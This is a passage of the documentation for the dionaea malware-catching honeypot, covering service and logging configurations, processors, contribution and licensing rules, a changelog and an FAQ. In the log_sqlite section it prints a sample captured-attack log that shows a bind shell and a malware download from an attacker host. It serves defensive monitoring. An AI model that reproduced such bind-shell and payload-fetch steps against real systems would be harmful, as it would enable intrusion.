8.13.4 Example config

Listing 12: services/sip.yaml

```
# SPDX-FileCopyrightText: none
# SPDX-License-Identifier: CC0-1.0

- name: sip
  config:
    udp_ports:
      - 5060
    tcp_ports:
      - 5060
    tls_ports:
      - 5061
    users: "@DIONAEA_STATEDIR@/sip/accounts.sqlite"
    rtp:
      enable: true
```

(continues on next page)

(continued from previous page)

```

# how to dump the rtp stream
# bistream = dump as bistream
modes:
  - bistream
  - pcap
pcap:
  path: "@DIONAEA_STATEDIR@/sip/rtp/{personality}/%Y-%m-%d/"
  filename: "%H:%M:%S_{remote_host}_{remote_port}_in.pcap"
personalities:
  default:
    domain: "localhost"
    name: "softphone"
    personality: "generic"
#
# next-server:
#   domain: "my-domain"
#   name: "my server"
#   personality: "generic"
#   serve: ["10.0.0.1"]
#   default_sdp: "default"
#   handle: ["REGISTER", "INVITE", "BYE", "CANCEL", "ACK"]

actions:
  bank-redirect:
    do: "redirect"
  params:
  play-hello:
    do: "play"
  params:
    file: "var/dionaea/.../file.ext"

```

8.14 SMB

The main protocol offered by dionaea is SMB. SMB has a decent history of remote exploitable bugs, and is a very popular target for worms. dionaea's SMB implementation makes use of an python3 adapted version of scapy. As scapy's own version of SMB was pretty limited, almost everything but the Field declarations had to be rewritten. The SMB emulation written for dionaea is used by the mwcollected <<http://code.mwcollect.org>> low interaction honeypot too. Besides the known attacks on SMB dionaea supports uploading files to smb shares. Adding new DCE remote procedure calls is a good start to get into dionaea code, you can use:

```

SELECT
    COUNT(*),
    dcerpcrequests.dcerpcrequest_uuid,
    dcerpcservice_name,
    dcerpcrequest_opnum
FROM
    dcerpcrequests
    JOIN dcerpcservices ON(dcerpcrequests.dcerpcrequest_uuid == dcerpcservices.
↳dcerpcservice_uuid)
    LEFT OUTER JOIN dcerpcserviceops ON(dcerpcserviceops.dcerpcserviceop_opnum =
↳dcerpcrequest_opnum AND dcerpcservices.dcerpcservice = dcerpcserviceops.
↳dcerpcservice )
WHERE
    dcerpcserviceop_name IS NULL
GROUP BY

```

(continues on next page)

(continued from previous page)

```

dcerpcrequests.dcerpcrequest_uuid,dcerpcservice_name,dcerpcrequest_opnum
ORDER BY
COUNT(*) DESC;

```

to identify potential usefull targets of unknown dcerpc calls using the data you gathered and stored in your logsq database. Patches are appreciated.

8.14.1 Example config

Listing 13: services/smb.yaml

```

# SPDX-FileCopyrightText: none
# SPDX-License-Identifier: CC0-1.0

- name: smb
  config:

    ## Generic setting ##

    # 1:"Windows XP Service Pack 0/1",
    # 2:"Windows XP Service Pack 2",
    # 3:"Windows XP Service Pack 3",
    # 4:"Windows 7 Service Pack 1",
    # 5:"Linux Samba 4.3.11"
    # os_type: 2

    # Additional config
    # primary_domain: Test
    # oem_domain_name: Test
    # server_name: TEST-SERVER

    ## Windows 7 ##
    # native_os: Windows 7 Professional 7600
    # native_lan_manager: Windows 7 Professional 6.1
    # shares:
    #   ADMIN$:
    #     comment: Remote Admin
    #     path: C:\\Windows
    #     type: disktree
    #   C$:
    #     comment: Default Share
    #     path: C:\\
    #     type:
    #       - disktree
    #       - special
    #   IPC$:
    #     comment: Remote IPC
    #     type: ipc
    #   Printer:
    #     comment: Microsoft XPS Document Writer
    #     type: printq

    ## Samba ##
    # native_os: Windows 6.1
    # native_lan_manager: Samba 4.3.11

```

(continues on next page)

(continued from previous page)

```
# shares:
#   admin:
#     comment: Remote Admin
#     path: \\home\\admin
#     type: disktree
#   share:
#     comment: Default Share
#     path: \\share
#     type: disktree
#   IPC$:
#     comment: Remote IPC
#     path: IPC Service
#     type: ipc
#   Printer:
#     comment: Printer Drivers
#     type: printq
```

8.15 TFTP

Written to test the udp connection code, dionaea provides a tftp server on port 69, which can serve files. Even though there were vulnerabilities in tftp services, I'm yet to see an automated attack on tftp services.

8.15.1 Example config

Listing 14: services/tftp.yaml

```
# SPDX-FileCopyrightText: none
# SPDX-License-Identifier: CC0-1.0

- name: tftp
  config:
    root: "@DIONAEA_STATEDIR@/tftp/root"
```

8.16 UPnP

8.16.1 Example config

Listing 15: services/upnp.yaml

```
# SPDX-FileCopyrightText: none
# SPDX-License-Identifier: CC0-1.0

- name: upnp
  config:
    root: "@DIONAEA_STATEDIR@/upnp/root"
    # maximum size in kbytes of the request (32MB)
    max_request_size: 32768
    personality:
      # default
```

(continues on next page)

(continued from previous page)

```

    cache:      "CACHE-CONTROL: max-age=120\r\n"
    st:         "ST: upnp:rootdevice\r\n"
    usn:        "USN: uuid:Upnp-IPMI-1_0-1234567890001::upnp:rootdevice\r\n"
    server:     "SERVER: Linux/2.6.17.WB_WPCM450.1.3 UPnP/1.0, Intel SDK for UPnP_
↪ devices/1.3.1\r\n"
    location:   "LOCATION: http://192.168.0.1:49152/IPMIdevicedesc.xml\r\n"
    opt:        "OPT: http://schemas.upnp.org/upnp/1/0/\r\n"
#             # Samsung TV
#             cache:      "CACHE-CONTROL: max-age=900\r\n"
#             st:         "ST: uuid:c1fd12b2-d954-4dba-9e92-a697e1558fb4\r\n"
#             usn:        "USN: uuid:c1fd12b2-d954-4dba-9e92-a697e1558fb4\r\n"
#             server:     "SERVER: SHP, UPnP/1.0, Samsung UPnP SDK/1.0\r\n"
#             location:   "LOCATION: http://192.168.0.10:7677/MainTVServer2\r\n"
#             opt:        "OPT: http://schemas.upnp.org/upnp/1/0/\r\n"
#
#             # XBOX 360
#             cache:      "CACHE-CONTROL: max-age=1800\r\n"
#             st:         "ST: urn:microsoft.com:service:X_MS_MediaReceiverRegistrar:1\r\n"
#             usn:        "USN: uuid:531c567a-8c46-4201-bcd4-09afa554d859::urn:microsoft.
↪ com:service:X_MS_MediaReceiverRegistrar:1\r\n"
#             server:     "SERVER: Microsoft-Windows/6.3 UPnP/1.0 UPnP-Device-Host/1.0\r\n"
#             location:   "LOCATION: http://192.168.0.10:1055/upnphost/udhisapi.dll?
↪ content=uuid:531c567a-8c46-4201-bcd4-09afa554d859\r\n"
#             opt:        "OPT: http://schemas.upnp.org/upnp/1/0/\r\n"

```

Logging (ihandler)

Getting a copy of the malware is cool, getting an overview of the attacks run on your sensor is priceless.

dionaea can write information to a text file, but be aware, dionaea's logging to text files is rather chatty, really chatty, and you do not want to look at the information, if you are not debugging the software or writing some new feature for it.

Of course, you can apply filters to the logging, to limit it to different facilities or levels, but in general you do not want to work with text files.

dionaea uses some internal communication system which is called incidents. An incident has an origin, which is a string, a path, and properties, which can be integers, strings, or a pointer to a connection. Incidents limit to the max, they pass the information required to incident handlers (ihandler). An ihandler can register a path for incidents he wants to get informed about, the paths are matched in a glob like fashion. Therefore logging information using an ihandler is superior to text logging, you get the information you are looking for, and can write it to a format you choose yourself.

List of available ihandlers

9.1 emuprofile

9.1.1 Example config

Listing 1: ihandlers/emuprofile.yaml

```
# SPDX-FileCopyrightText: none
# SPDX-License-Identifier: CC0-1.0

- name: emuprofile
```

9.2 fail2ban

9.2.1 Example config

Listing 2: ihandlers/fail2ban.yaml

```
# SPDX-FileCopyrightText: none
# SPDX-License-Identifier: CC0-1.0

- name: fail2ban
  config:
    downloads: "@DIONAEA_STATEDIR@/fail2ban/downloads.f2b"
    offers: "@DIONAEA_STATEDIR@/fail2ban/offers.f2b"
```

9.3 ftp

9.3.1 Example config

Listing 3: ihandlers/ftp.yaml

```
# SPDX-FileCopyrightText: none
# SPDX-License-Identifier: CC0-1.0

# ftp client section
- name: ftp
  config:
    # host for active ftp via NAT
    # * 0.0.0.0 - the initiating connection ip is used for active ftp
    # * not 0.0.0.0 - gets resolved as hostname and used
    active_host: "0.0.0.0"

    # ports for active ftp; string indicating a range
    active_ports: 63001-64000
```

9.4 hpfeeds

9.4.1 Example config

Listing 4: ihandlers/hpfeeds.yaml

```
# SPDX-FileCopyrightText: none
# SPDX-License-Identifier: CC0-1.0

- name: hpfeeds
  config:
    # fqdn/ip and port of the hpfeeds broker
    server: "hpfriends.honeycloud.net"
    # port: 10000
    ident: ""
    secret: ""
    # dynip_resolve: enable to lookup the sensor ip through a webservice
    dynip_resolve: "http://hpfriends.honeycloud.net/ip"
    # Try to reconnect after N seconds if disconnected from hpfeeds broker
    # reconnect_timeout: 10.0
```

9.5 log_db_sql

Warning: This ihandler is experimental.

This incident handler can write interesting information about attacks and connections into an SQL database. It uses [SQLAlchemy](#) to support different databases.

9.5.1 Example config

Listing 5: ihandlers/log_db_sql.yaml

```
# SPDX-FileCopyrightText: none
# SPDX-License-Identifier: CC0-1.0

- name: log_db_sql
  config:
    url: sqlite:///@DIONAEA_STATEDIR@dionaea.db
```

9.6 log_incident

This ihandler can be used to export incidents in realtime to be processed by external programs.

Warning: This ihandler is in pre alpha state and it might be changed or removed in the future.

9.6.1 Configure

handlers

List of URLs to submit the information to. At the moment only file, http and https are supported.

9.6.2 Format

```
{
  "name": "<sensor-name>",
  "origin": "<name of the incident>",
  "timestamp": "<date in ISO 8601>",
  "data": {
    "connection": {
      "id": <internal ID>,
      "local_ip": "<local IP>",
      "local_port": <local port>,
      "remote_ip": "<remote IP>",
      "remote_hostname": "<remote hostname if resolvable>",
      "remote_port": <remote port>,
      "protocol": "<protocol>",
      "transport": "<transport tcp|udp>"
    }
  }
}
```

9.6.3 Example config

Listing 6: ihandlers/log_incident.yaml

```
# SPDX-FileCopyrightText: none
# SPDX-License-Identifier: CC0-1.0

- name: log_incident
  config:
    handlers:
      #- http://127.0.0.1:8080/
      - file://@DIONAEA_STATEDIR@dionaea_incident.json
```

9.7 log_json

This ihandler can submit information about attacks/connections encoded as json.

Warning: This ihandler is in pre alpha state and it might be changed or removed in the near future.

9.7.1 Configure

flat_data

Set to true to flatten object lists.

handlers

List of URLs to submit the information to. At the moment only file, http and https are supported.

9.7.2 Format

Format of the connection information:

```
{
  "connection": {
    "local": {
      "address": "<string:local ip address>",
      "port": <integer:local port>,
    },
    "protocol": "<string:service name e.g. httpd>",
    "remote": {
      "address": "<string:remote ip address>",
      "port": <integer:remote port>,
      "hostname": "<string:hostname of the remote host>"
    },
    "transport": "<string:transport protocol e.g. tcp or udp>",
    "type": "<string:connection type e.g. accepted, listen, ...>"
  }
}
```

9.7.3 Example config

Listing 7: ihandlers/log_json.yaml

```
# SPDX-FileCopyrightText: none
# SPDX-License-Identifier: CC0-1.0

- name: log_json
  config:
    # Uncomment next line to flatten object lists to work with ELK
    # flat_data: true
    handlers:
      #- http://127.0.0.1:8080/
      - file://@DIONAEA_STATEDIR@dionaea.json
```

9.8 log_sqlite

Warning: This ihandler was renamed in dionaea 0.4.0 from logsql to log_sqlite.

This is what the logsql python script does, it is an ihandler, and writes interesting incidents to a sqlite database, one of the benefits of this logging is the ability to cluster incidents based on the initial attack when retrieving the data from the database:

```
connection 610 smbd tcp accept 10.69.53.52:445 <- 10.65.34.231:2010
dcerpc request: uuid '3919286a-b10c-11d0-9ba8-00c04fd92ef5' opnum 9
p0f: genre:'Windows' detail:'XP SP1+, 2000 SP3' uptime:'-1' tos:'' dist:'11' nat:'0'
↪fw:'0'
profile: [{ 'return': '0x7c802367', 'args': ['', 'CreateProcessA'], 'call':
↪'GetProcAddress'},
          ...., { 'return': '0', 'args': ['0'], 'call': 'ExitThread' }]
```

(continues on next page)

(continued from previous page)

```

service: bindshell://1957
connection 611 remoteshell tcp listen 10.69.53.52:1957
  connection 612 remoteshell tcp accept 10.69.53.52:1957 <- 10.65.34.231:2135
    p0f: genre:'Windows' detail:'XP SP1+, 2000 SP3' uptime:'-1' tos:'' dist:'11' nat:
    ↪ '0' fw:'0'
    offer: fxp://1:1@10.65.34.231:8218/ssms.exe
    download: 1d419d615dbe5a238bbaa569b3829a23 fxp://1:1@10.65.34.231:8218/ssms.exe
    connection 613 ftpctrl tcp connect 10.69.53.52:37065 -> 10.65.34.231/None:8218
      connection 614 ftpdata tcp listen 10.69.53.52:62087
        connection 615 ftpdata tcp accept 10.69.53.52:62087 <- 10.65.34.231:2308
          p0f: genre:'Windows' detail:'XP SP1+, 2000 SP3' uptime:'-1' tos:'' dist:'11'
          ↪ ' nat:'0' fw:'0'

```

Additionally, you can query the database for many different things, refer to:

- [dionaea sql logging 2009/11/06](#)
- [post it yourself 2009/12/08](#)
- [sqlite performance 2009/12/12](#)
- [virustotal fun 2009/12/14](#)
- [Andrew Waite's Blog for mimic-nepstats.py](#)

for more examples how to make use of the database.

9.8.1 Example config

Listing 8: ihandlers/log_sqlite.yaml

```

# SPDX-FileCopyrightText: none
# SPDX-License-Identifier: CC0-1.0

- name: log_sqlite
  config:
    file: "@DIONAEA_STATEDIR@dionaea.sqlite"

```

9.9 nfq

9.9.1 Example config

Listing 9: ihandlers/nfq.yaml

```

# SPDX-FileCopyrightText: none
# SPDX-License-Identifier: CC0-1.0

- name: nfq
  # nfq can intercept incoming tcp connections during the tcp handshake
  # giving your honeypot the possibility to provide service on
  # ports which are not served by default.
  # refer to the documentation BEFORE using this
  config:
    # 0 = DROP

```

(continues on next page)

(continued from previous page)

```

nfaction: 0
throttle:
  window : 30
  limits:
    total: 30
    slot: 30
timeouts:
  server:
    listen: 5
  client:
    idle: 10
    sustain: 240

```

9.10 p0f

9.10.1 Example config

Listing 10: ihandlers/p0f.yaml

```

# SPDX-FileCopyrightText: none
# SPDX-License-Identifier: CC0-1.0

- name: p0f
  config:
    # start p0f with
    # sudo p0f -i any -u root -Q /tmp/p0f.sock -q -l
    path: "un:///tmp/p0f.sock"

```

9.11 s3

Upload unique captured binaries to Amazon S3 bucket

9.11.1 Example config

Listing 11: ihandlers/s3.yaml

```

# SPDX-FileCopyrightText: none
# SPDX-License-Identifier: CC0-1.0

- name: s3
  config:
    # Upload dionaea captured samples to Amazon AWS S3 bucket
    # Amazon AWS S3 credentials
    access_key_id: "AKIAIXEXAMPLE"
    secret_access_key: "6WVE5LkETVL91nTKgGnm/YxJ+EXAMPLE"
    bucket_name: "my-dionaea-bucket"
    region_name: "eu-west-1"
    # Alternate endpoint URL
    # Normally Boto 3 will automatically construct appropriate URL

```

(continues on next page)

(continued from previous page)

```
# By default, we can leave this value to blank
endpoint_url:
# Whether or not to validate the S3 certificate
verify: True
# Specify the destination folder in S3 for the upload
s3_dest_folder: "dionaea-capture/"
```

9.12 store

9.12.1 Example config

Listing 12: ihandlers/store.yaml

```
# SPDX-FileCopyrightText: none
# SPDX-License-Identifier: CC0-1.0

- name: store
```

9.13 submit_http

9.13.1 Example config

Listing 13: ihandlers/submit_http.yaml

```
# SPDX-FileCopyrightText: none
# SPDX-License-Identifier: CC0-1.0

- name: submit_http
  config:
    # the url to send the submission requests to
    url: "http://example.org/"
    # E-Mail (optional)
    # email: ""
    # username (optional)
    # user:
    # password (optional)
    # pass:
```

9.14 submit_http_post

9.14.1 Example config

Listing 14: ihandlers/submit_http_post.yaml

```
# SPDX-FileCopyrightText: none
# SPDX-License-Identifier: CC0-1.0
```

(continues on next page)

(continued from previous page)

```
- name: submit_http_post
  config:
    submit:
      file_upload:
        urls:
          - http://example.org/upload
          - http://example.com/file.php
        field_values:
          submit: "Upload file"
          file_fieldname: upload_file
```

9.15 tftp_download

9.15.1 Example config

Listing 15: ihandlers/tftp_download.yaml

```
# SPDX-FileCopyrightText: none
# SPDX-License-Identifier: CC0-1.0

- name: tftp_download
```

9.16 VirusTotal

This ihandler submits the captured malware samples to the [VirusTotal](#) service for further analysis.

9.16.1 Configuration

apikey

The VirusTotal API-Key.

file

SQLite database file used to cache the results.

9.16.2 Example config

Listing 16: ihandlers/virustotal.yaml

```
# SPDX-FileCopyrightText: none
# SPDX-License-Identifier: CC0-1.0

- name: virustotal
  config:
    # grab it from your virustotal account at My account -> My API Key (https://www.
    ↪virustotal.com/en/user/<username>/apikey/)
    apikey: "....."
```

(continues on next page)

(continued from previous page)

```
file: "@DIONAEA_STATEDIR@/vtcache.sqlite"  
# comment: "This sample was captured in the wild and uploaded by the dionaea_  
↪honeypot.\n#honeypot #malware #networkworm"
```

CHAPTER 10

Processors

Processors control the actions done on the bi-directional streams we gain when getting attacked, the default is running the emu processor on them to detect shellcode.

10.1 Emu

Use libemu to find and emulate shellcodes.

10.1.1 Configuration

10.2 Filter

Only continue with the processing pipeline if all conditions match.

10.2.1 Configuration

protocols

Comma separated list of connection types.

types

Comma separated list of connection types.

- accept - dionaea accepts a new connection from a remote host
- connect - dionaea makes a connection to a remote host

10.3 Streamdumper

This processor can dump a connection as bi-directional stream. The dump can be used to replay an attack on ip-level without messing with pcap and tcpreplay.

10.3.1 Configuration

path

Dumps will be created in this directory.

First of all, thank you for your interest in contributing to dionaea!

11.1 Filing bug reports

Bug reports are very welcome. Please file them on the [GitHub issue tracker](#). Good bug reports come with extensive descriptions of the error and how to reproduce it.

11.2 Patches

All patches to dionaea should be submitted in the form of pull requests to the main dionaea repository, [Dino-Tools/dionaea](#). These pull requests should satisfy the following properties:

11.2.1 Code

- The pull request should focus on one particular improvement to dionaea.
- Create different pull requests for unrelated features or bugfixes.
- Python code should follow [PEP 8](#), especially in the “do what code around you does” sense.

11.2.2 Documentation

When introducing new functionality, please remember to write documentation.

11.2.3 First time setup

- Download and install the [latest version of git](#)
- Configure git with your username and email

```
$ git config user.name 'Your Name'
$ git config user.email 'your.email@example.org'
```

- Make sure you have a [GitHub account](#)
- Fork dionaea to your GitHub account by using the Fork button
- Clone the main repository locally

```
$ git clone https://github.com/DinoTools/dionaea.git
$ cd dionaea
```

- Add your fork as a remote to push your work to. Replace <username> with your username.

```
$ git remote add fork https://github.com/<username>/dionaea
```

- Install [pre-commit](#) by using a virtualenv.

```
$ python3 -m venv venv_git
$ source venv_git/bin/activate
$ pip install pre-commit
```

- Install pre-commit hooks.

```
$ pre-commit install
```

11.3 Review

Finally, pull requests must be reviewed before merging. Everyone can perform reviews; this is a very valuable way to contribute, and is highly encouraged.

CHAPTER 12

Licensing rules

The dionaea honeypot is provided under the terms of the GNU General Public License version 2 or any later (GPL-2.0+)

This documentation file provides a description of how each source file should be annotated to make its license clear and unambiguous. It doesn't replace dionaeas license.

The license described in the LICENSE file applies to the dionaea source as a whole, though individual source files can have a different license which is required to be compatible with the GPL-2.0:

GPL-3.0+	:	GNU General Public License v3.0 or later
LGPL-2.0	:	GNU Library General Public License v2 only
LGPL-2.0+	:	GNU Library General Public License v2 or later
LGPL-2.1	:	GNU Lesser General Public License v2.1 only
LGPL-2.1+	:	GNU Lesser General Public License v2.1 or later

Aside from that, individual files can be provided under one of the compatible GPL variants and alternatively under a permissive license like BSD, MIT etc.

A common way of expressing the license of a source file is to add the matching boilerplate text into the top comment of the file. Due to formatting, typos etc. these “boilerplates” are hard to validate for tools which are used in the context of license compliance.

A replacement to the boilerplate text is the use of Software Package Data Exchange (SPDX) license identifiers in each source file. SPDX license identifiers are machine parsable and precise shorthands for the license under which the content of the file is contributed. SPDX license identifiers are managed by the SPDX Workgroup at the Linux Foundation and have been agreed on by partners throughout the industry, tool vendors, and legal teams. For further information see <https://spdx.org/>

The dionaea honeypot requires the precise SPDX identifier in all source files. The REUSE tool from the FSFE is used to check if all required information are set. For additional information and formatting see <https://reuse.software/>

12.1 License identifier syntax

1. Placement:

The SPDX license identifier in source files shall be added at the first possible position in a file which can contain a comment.

2. Style:

The SPDX license identifier is added in form of a comment. The comment style depends on the file type:

C source and header:

```
/**
 * This file is part of the dionaea honeypot
 *
 * SPDX-FileCopyrightText: 2019 Jane Doe <jane@example.org>
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 */
```

Python:

```
# This file is part of the dionaea honeypot
#
# SPDX-FileCopyrightText: 2019 John Doe <john@example.org>
#
# SPDX-License-Identifier: GPL-2.0-or-later
```

Scripts:

```
# This file is part of the dionaea honeypot
#
# SPDX-FileCopyrightText: 2019 Jane Doe <jane@example.org>
#
# SPDX-License-Identifier: GPL-2.0-or-later
```

.rst:

```
..
    This file is part of the dionaea honeypot

    SPDX-FileCopyrightText: 2019 John Doe <john@example.org>

    SPDX-License-Identifier: <SPDX License Expression>
```

If a specific tool cannot handle the standard comment style, then the appropriate comment mechanism which the tool accepts shall be used. For binary files or files you don't want to change use an additional file with the same name and `.license` as suffix.

12.2 Compliance check

The REUSE tool is used to validate if all recommendations provided by the REUSE project of the FSFE are met. For more information about the specification have a look at <https://reuse.software/> and <https://spdx.dev/>

12.2.1 Tooling

Install the tool.:

```
$ pip install reuse
```

Run the linter.:

```
$ reuse lint
```

12.2.2 git hooks

The reuse tool has been included in the pre-commit hooks to check compliance on changed files before committing them.

dionaea initial development was funded by the [Honeynet Project](#) as part of the Honeynets Summer of Code during 2009. The development process is as open as possible. You can browse the source online and report bugs on [GitHub](#)

13.1 Development

13.1.1 Docker

The `docker-compose` can be used to setup a development environment for dionaea.

```
$ git clone https://github.com/DinoTools/dionaea.git
$ cd dionaea/dev/docker
$ docker-compose up
```

To debug dionaea it can be started with `gdbserver` and `gdbgui`.

```
$ git clone https://github.com/DinoTools/dionaea.git
$ cd dionaea/dev/docker
$ docker-compose -f docker-compose.yml -f extra_conf/gdbserver.yml up
```

The `gdbgui` frontend is available on the host system <http://localhost:5000/>. To connect to the `gdbserver` just select 'Connect to gdbserver' and enter `dionaea:9999` on the frontend.

All source files are monitored with `inotifywait` and if a source file changes dionaea is automatically rebuild and restarted.

13.1.2 Ubuntu 14.04

Todo: This section is deprecated and should be updated.

Instead of using Vagrant you can use a Ubuntu 14.04 system to setup your development environment. In this section we will use the scripts used to setup the Vagrant environment to bootstrap a fresh Ubuntu system. If you like you can follow the [Installation](#) 'From Source' guide to setup everything by hand.

Install

First install [Ubuntu](#).

If everything has been setup correctly clone the git repository and run the bootstrap script.

```
$ git clone https://github.com/DinoTools/dionaea.git
$ vagrant
$ ./bootstrap.sh
```

All files will be installed in the `/opt/dionaea` directory.

Rebuild and test

Rebuild, install and start dionaea from the root of the git repository.

```
$ make
$ sudo make install
$ sudo /opt/dionaea/bin/dionaea -c /opt/dionaea/etc/dionaea/dionaea.cfg -l all,-debug -L '*'
```

This can also be done in one line.

```
$ make && sudo make install && sudo dionaea -c /opt/dionaea/etc/dionaea/dionaea.cfg -l all,-debug -L '*'
```

13.1.3 Find memory leaks

To enable AddressSanitizer you have to add the following parameters to the `configure` script and rebuild dionaea.

```
--disable-shared CFLAGS="-fsanitize=address -ggdb" CXXFLAGS="-fsanitize=address -ggdb"
```

When running dionaea it will print information about overflow errors. If you would like to stop execution you have to export an additional environment variable.

```
export ASAN_OPTIONS='abort_on_error=1'
```

To get a stacktrace you can use `gdb` and add an additional breakpoint `break __asan_report_error`.

It is also possible to use [asan_symbolize.py](#) [python2](#) script to extract additional information.

```
/opt/dionaea/bin/dionaea -c /opt/dionaea/etc/dionaea/dionaea.cfg 2>&1 | python asan_symbolize.py
```

13.2 Logging

Logging should be used to report errors and for debugging purposes. It must not be used to report attacks. Incidents should be used for this purpose. For more information have a look at the [ihandler](#) section.

Comparison glib2 and Python

glib2	Python
debug	debug
info	info
warning	warning
critical	error
error	critical

Warning: In glib2 a critical message means critical warning. But in Python a critical message is handled as critical error.

Warning: An error message in glib2 or a critical message in a Python module will terminate the program immediately.

13.3 Incident

Some of the incidents reported by the dionaea core are listed below.

dionaea.connection.tcp.accept:

A new TCP connection has been accepted by dionaea.

dionaea.connection.tls.accept:

A new SSL/TLS connection has been accepted by dionaea.

dionaea.connection.tcp.connect:

Reporte after dionaea has connection to an external service via TCP.

dionaea.connection.tls.connect:

Reporte after dionaea has connection to an external service via SSL/TLS.

dionaea.connection.udp.connect:

Reporte after dionaea has connection to an external service via UDP.

dionaea.connection.free:

A connection has been closed and freed.

dionaea.connection.tcp.listen:

Fired after a TCP service has been bound and is listening for incomming connections.

dionaea.connection.tls.listen:

Fired after a SSL/TLS service has been bound and is listening for incomming connections.

dionaea.connection.tcp.pending:

dionaea.connection.tcp.reject:

A incoming connection has been rejected by the server.

dionaea.connection.link.early:

dionaea.connection.link:

Reported to give the log management the chance to link two connections.

14.1 0.10.0 - (master)

14.2 0.9.1 - (2020-10-15)

ci

- Add pre-commit config and fix code
- Add flake8 checks
- Add GitHub workflow to scan for vulnerabilities using CodeQL

dev

- Remove vagrant config

dionaea

- Add licensing information
- Add SPDX header to all files

doc

- Add info about first time setup

14.3 0.9.0 - (2020-09-18)

ci

- Replace Jenkins with Drone CI

development

- Add docker compose to setup development environment

dionaea

- Improve names of bistrem files (Thanks Aws0mus)
- Fix reconnects with IP only
- Fix dropping privileges (Thanks Michal Ambroz)
- Fix bug to detect if linux/sockios.h is installed

python

- Add class to report more information about connection issues
- Fix support Cython < 0.21
- Add additional information if parsing a YAML file fails
- Change YAML load to safe load
- Replace deprecated API calls with new ones

python/hpfeeds

- Fix to show error message instead of id
- Add option to set reconnect timeout
- Change error handling to send authentication before sending messages (Thanks John Carr)

python/mssql

- Replace warn() with warning()

python/mysql

- Improve detection (Thanks Yorick Koster)

python/s3

- Add new ihandler to upload files to S3 storage (Thanks gento)

python/virustotal

- Add support for custom comments (Thanks Matteo Cantoni)

14.4 0.8.0 - (2018-06-15)

doc

- Add migration instructions
- Fix warnings

build

- Replace autotools with cmake
- Remove autotools files
- Add git information to version string on development builds

dionaea

- Add option to enable/disable IPv4 mapped IPv6 addresses

14.5 0.7.0 - (2018-05-01)

build

- Add initial cmake support

ci

- Add Debian 9

dionaea

- Fix build error with OpenSSL 1.1.0
- Improve OpenSSL 1.1.0 support
- Cleanup connection code
- Enable bistream for SSL/TLS connections (Thanks Aws0mus)
- Fixing chroot bugs (Thanks Michal Ambroz)

doc

- Add additional information
- Doxygen config file for dionaea c core
- Ubuntu 16.04 install instructions

package

- Remove old and deprecated debian package config

python

- Fix typo in config key
- Fix hardcoded python path
- Fix compilation on CentOS7 (Thanks Michal Ambroz)

python/http

- Initial support to handle SOAP requests

python/log_incident

- Improve hash generator
- Fix bug if parent is unknown
- Remove IDs from list if processed

python/mongo

- Initial support to simulate a MongoDB server

python/pyev

- Update from 0.8 to 0.9 to support Python >= 3.6

python/smb

- Add support for WannaCry and SambaCry (Big thanks to gento)
- Add additional config options to change identity

python/util

- Find Download commands for Linux shell

14.6 0.6.0 - (2016-11-14)

dionaea

- Fix build for musl lib

doc

- Fix install instructions
- Extend README.md

python/blackhole

- New service/Initial version

python/emu_scripts

- New handler to analyse downloaded scripts
- Detect VBScript and PowerShell
- Limit number of subdownloads

python/http

- Clean up
- Use state vars instead of strings
- Add template support * Jinja 2 template engine * nginx template

python/mysql

- Dump files from SELECT queries
- Extract URLs from functions
- Variable handler
- Support for selecting variables

python/p0f

- Fix decode error

python/pptp

- Fix error if config is empty

14.7 0.5.1 - 2016-09-05

dionaea

- Don't report 'connection.free' incident too early to prevent segmentation faults

14.8 0.5.0 - 2016-08-06

dionaea

- Handle byte objects in incidents
- Bump required Python version from 3.2 to 3.4

python/http

- Detect Shellshock attacks

python/log_incident

- Initial support to export raw incident information

python/log_sqlite

- Log credentials from the ftp service

python/memcache

- Initial support for the memcached protocol

python/pptp

- Clean up
- Handle CallClearRequests packets
- Values for hostname, vendor name and firmware revision are now customizable

python/util

- New function to detect shellshock attacks and report detected URLs

14.9 0.4.2 - 2016-07-02

doc

- Add information about log levels for developers

python/*

- Replace all critical log messages with error messages
- Catch exceptions in `handle_io_in()` and `handle_io_out()` to improve stability
- Catch exceptions in incident handlers

python/sip

- Fix error while reading config values

python/upnp

- Fix errors in log messages

more

- Add templates to create issues and merge requests on github

14.10 0.4.1 - 2016-06-14

core

- Initialize stdout logger earlier
- Log error,critical and warning by default

python/*

- In glib2 critical is a critical warning
- Add support for exceptions
- Check file path and show warnings

python/log_json

- Add support for flat object lists to work with ELK stack

14.11 0.4.0 - 2016-05-31

core

- Replace lcfg with Key-value file parser from glib

ci

- Add build tests for Ubuntu 14.04, Ubuntu 16.04 and Debian 8

doc

- Add initial documentation for missing modules
- Update documentation to reflect config changes
- Add processor documentation

python/*

- Replace lcfg with yaml configs
- Remove deprecated incident handlers (logxmpp, mwserv, SurfIDS)
- Rename incident handlers from logsql to log_sqlite
- Rename incident handlers from uniqdownload to submit_http_post

python/mysql

- Enable processor pipeline

14.12 0.3.0 - 2016-03-30

core

- Code clean up (Thanks to Katarina)
- Vagrant based dev environment
- Customize ssl/tls parameters for autogenerated certificates

doc

- Initial version of sphinx based documentation

python/ftp

- Support to customize response messages
- Small fixes

python/hpfeeds

- Initial ihandler support (Thanks to rep)

python/http

- Customize HTTP response headers
- Return HTTP/1.1 instead of HTTP/1.0

python/log_json

- Initial ihandler support

python/mqtt

- Initial protocol support (Thanks to gento)

python/pptp

- Initial protocol support (Thanks to gento)

python/upnp

- Initial protocol support (Thanks to gento)

14.13 0.2.1 - 2014-07-16

core

- Support for cython and cython3
- Fixes to build with glib 2.40
- Remove build warnings
- Support libnl >= 3.2.21

python/http

- Fix unlink() calls

python/virustotal

- virustotal API v2.0

14.14 0.2.0 - 2013-11-02

Last commit by original authors.

14.15 0.1.0

- Initial release.

Warning: The documentation is work in progress.

15.1 Build/Install

I get gcc: command not found?

install gcc..

How to uninstall it?

rm -rf /opt/dionaea

I get binding.pyx:...: undeclared name not builtin: bytes during the python modules build.

Install a recent cython version

I get Python.h not found during compiling cython

Install appropriate headers for your python interpreter

I do not use ubuntu/debian and the instructions are useless for me therefore.

I use debian/ubuntu, and therefore I can only provide instructions for debian/ubuntu, but you are free to send me a diff for your operating system

I use Redhat/Centos 5 and the installation is frustrating and a mess as nothing works.

Thats right, but I did not choose your operating system. Here is a list of outdated or missing packages for your choosen distribution: *all*. Yes, you'll even have to install glib (you'll have 2.10 where 2.20 is required) from source. Getting python3 compiled with a recent sqlite3 version installed to /opt/dionaea requires editing the setup.py file (patch <<http://p.carnivore.it/KDIFWt>>). /I experienced this wonderful operating system myself ... You really have to love your distro to stick with it, even if it ships software versions your grandma saw released in her youth. *Centos is the best distro ... to change distros*. No matter what you choose, it can't get worse./

